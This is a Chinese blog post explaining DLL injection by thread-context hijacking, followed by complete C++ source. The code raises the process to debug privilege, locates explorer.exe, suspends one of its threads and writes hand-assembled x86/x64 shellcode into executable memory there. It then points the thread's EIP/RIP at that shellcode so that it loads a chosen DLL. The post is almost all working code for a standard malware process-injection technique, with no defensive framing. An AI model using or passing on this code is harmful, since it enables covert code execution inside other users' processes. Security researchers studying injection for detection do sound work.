动态库注入——SetThreadContext注入

这种注入方法是主要是修改进程中的线程上下文来实现Dll注入(ShellCode)

 

  1. 实现步骤

     a根据进程ID的进程句柄。

     b根据进程ID得到线程句柄

     c调用SuspendThread()函数暂停线程。

     d在目标进程中申请内存,写入ShellCode

     e调用GetThreadContext()函数获得线程的上下文

     d修改Eip(rip)的值。

     f调用SetThreadContext()函数进行设置线程上下文

  2. 代码实现
      1 // SetThreadContext.cpp : 定义控制台应用程序的入口点。
      2 //
      3 
      4 #include "stdafx.h"
      5 #include <Windows.h>
      6 #include <TlHelp32.h>
      7 #include <vector>
      8 #include <iostream>
      9 
     10 using namespace std;
     11 
     12 BOOL GrantPriviledge(WCHAR* PriviledgeName);
     13 BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);
     14 BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector);
     15 BOOL Inject(UINT32 ProcessId, UINT32 ThreadId);
     16 
     17 
     18 #ifdef _WIN64
     19 
     20 UINT8    ShellCode[0x100] = {
     21     0x48,0x83,0xEC,0x28,    
     22 
     23     0x48,0x8D,0x0d,            
     24     0x00,0x00,0x00,0x00,    
     25 
     26 
     27     0xff,0x15,                
     28     0x00,0x00,0x00,0x00,    
     29 
     30     0x48,0x83,0xc4,0x28,    
     31 
     32     
     33     0xff,0x25,                
     34     0x00,0x00,0x00,0x00,    
     35 
     36     
     37     0x00,0x00,0x00,0x00,    
     38     0x00,0x00,0x00,0x00,    
     39 
     40     0x00,0x00,0x00,0x00,    
     41     0x00,0x00,0x00,0x00,    
     42 
     43 };
     44 #else
     45 
     46 UINT8    ShellCode[0x100] = {
     47     0x60,                    
     48     0x9c,                    
     49     0x68,                    
     50     0x00,0x00,0x00,0x00,    
     51     0xff,0x15,                
     52     0x00,0x00,0x00,0x00,    
     53     0x9d,                    
     54     0x61,                    
     55     0xff,0x25,                
     56     0x00,0x00,0x00,0x00,    
     57 
     58 
     59     0x00,0x00,0x00,0x00,    
     60 
     61     0x00,0x00,0x00,0x00,
     62 
     63     0x00,0x00,0x00,0x00        
     64 };
     65 
     66 #endif
     67 
     68 
     69 CHAR    DllFullPath[MAX_PATH] = { 0 };
     70 
     71 int main()
     72 {
     73     // 提权
     74     if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
     75     {
     76         printf("GrantPriviledge Error\r\n");
     77     }
     78 
     79     UINT32    ProcessId = 0;
     80 
     81     GetCurrentDirectoryA(MAX_PATH, DllFullPath);
     82 
     83 #ifdef _WIN64
     84     GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
     85 
     86     strcat_s(DllFullPath, "\\x64Dll.dll");
     87 #else
     88     GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
     89     strcat_s(DllFullPath, "\\x86Dll.dll");
     90 #endif
     91 
     92     //枚举到线程id
     93     vector<UINT32> ThreadIdVector;
     94     GetThreadIdByProcessId(ProcessId, ThreadIdVector);
     95 
     96     for (UINT32 ThreadId : ThreadIdVector)
     97     {
     98         Inject(ProcessId, ThreadId);
     99         break;            
    100     }
    101 
    102     Sleep(3000);
    103 
    104     return 0;
    105 }
    106 
    107 UINT32    Count = 0;
    108 BOOL Inject(UINT32 ProcessId, UINT32 ThreadId)
    109 {
    110     HANDLE    ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
    111     HANDLE    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    112 
    113     // 首先挂起线程
    114     SuspendThread(ThreadHandle);
    115 
    116     CONTEXT        ThreadContext = { 0 };
    117     ThreadContext.ContextFlags = CONTEXT_ALL;
    118     if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
    119     {
    120         cout << GetLastError() << endl;
    121         CloseHandle(ThreadHandle);
    122         CloseHandle(ProcessHandle);
    123         return FALSE;
    124     }
    125 
    126     PVOID    BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    127     if (BufferData != NULL)
    128     {
    129         UINT_PTR    LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
    130         if (LoadLibraryAddress != NULL)
    131         {
    132 #ifdef _WIN64
    133 
    134             // ShellCode + 43
    135             PUINT8    v1 = ShellCode + 43;
    136             memcpy(v1, DllFullPath, strlen(DllFullPath) + 1);
    137             UINT32    DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7);
    138             *(PUINT32)(ShellCode + 7) = DllNameOffset;
    139 
    140             // ShellCode + 35
    141             *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryAddress;
    142             UINT32    LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6);
    143             *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset;
    144 
    145             *(PUINT64)(ShellCode + 27) = ThreadContext.Rip;
    146             
    147             if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
    148             {
    149                 return FALSE;
    150             }
    151             ThreadContext.Rip = (UINT64)BufferData;
    152 
    153 #else
    154             PUINT8    v1 = ShellCode + 29;
    155 
    156             memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + 1);    
    157             *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29;
    158 
    159             *(PUINT32)(ShellCode + 25) = LoadLibraryAddress;  
    160             *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25;
    161                                                              
    162             *(PUINT32)(ShellCode + 21) = ThreadContext.Eip;
    163             *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21;
    164             if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
    165             {
    166                 printf("write Process Error\n");
    167                 return FALSE;
    168             }
    169             ThreadContext.Eip = (UINT32)BufferData;
    170 
    171 #endif            
    172             if (!SetThreadContext(ThreadHandle, &ThreadContext))
    173             {
    174                 printf("set thread context error\n");
    175                 return FALSE;
    176             }
    177             ResumeThread(ThreadHandle);
    178 
    179             printf("ShellCode 注入完成: %d\r\n", ++Count);
    180         }
    181     }
    182 
    183     CloseHandle(ThreadHandle);
    184     CloseHandle(ProcessHandle);
    185     return TRUE;
    186 }
    187 
    188 //获得线程ID
    189 BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector)
    190 {
    191     HANDLE            ThreadSnapshotHandle = NULL;
    192     THREADENTRY32    ThreadEntry32 = { 0 };
    193 
    194     ThreadEntry32.dwSize = sizeof(THREADENTRY32);
    195 
    196     ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    197     if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
    198     {
    199         return FALSE;
    200     }
    201 
    202     Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
    203     do
    204     {
    205         if (ThreadEntry32.th32OwnerProcessID == ProcessId)
    206         {
    207             ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID);        // 把该进程的所有线程id压入模板
    208         }
    209     } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));
    210 
    211     CloseHandle(ThreadSnapshotHandle);
    212     ThreadSnapshotHandle = NULL;
    213     return TRUE;
    214 }
    215 
    216 
    217 BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
    218 {
    219     HANDLE            ProcessSnapshotHandle = NULL;
    220     PROCESSENTRY32    ProcessEntry32 = { 0 };
    221 
    222     ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);        
    223 
    224     ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    
    225 
    226     if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
    227     {
    228         return FALSE;
    229     }
    230 
    231     Process32First(ProcessSnapshotHandle, &ProcessEntry32);        
    232     do
    233     {
    234         if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0)        
    235         {
    236             *TargetProcessId = ProcessEntry32.th32ProcessID;
    237             break;
    238         }
    239     } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));
    240 
    241     CloseHandle(ProcessSnapshotHandle);
    242     ProcessSnapshotHandle = NULL;
    243     return TRUE;
    244 }
    245 
    246 
    247 
    248 // 提限
    249 BOOL GrantPriviledge(WCHAR* PriviledgeName)
    250 {
    251     TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
    252     DWORD             dwReturnLength = sizeof(OldPrivileges);
    253     HANDLE             TokenHandle = NULL;
    254     LUID             uID;
    255 
    256     // 打开权限令牌
    257     if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
    258     {
    259         if (GetLastError() != ERROR_NO_TOKEN)
    260         {
    261             return FALSE;
    262         }
    263         if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
    264         {
    265             return FALSE;
    266         }
    267     }
    268 
    269     //查看权限令牌
    270     if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))        
    271     {
    272         CloseHandle(TokenHandle);
    273         return FALSE;
    274     }
    275 
    276     TokenPrivileges.PrivilegeCount = 1;        
    277     TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    
    278     TokenPrivileges.Privileges[0].Luid = uID;
    279 
    280     // 调整权限
    281     if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
    282     {
    283         CloseHandle(TokenHandle);
    284         return FALSE;
    285     }
    286 
    287     CloseHandle(TokenHandle);
    288     return TRUE;
    289 }

     

posted @ 2017-04-08 19:41  _小北  阅读(1766)  评论(0编辑  收藏  举报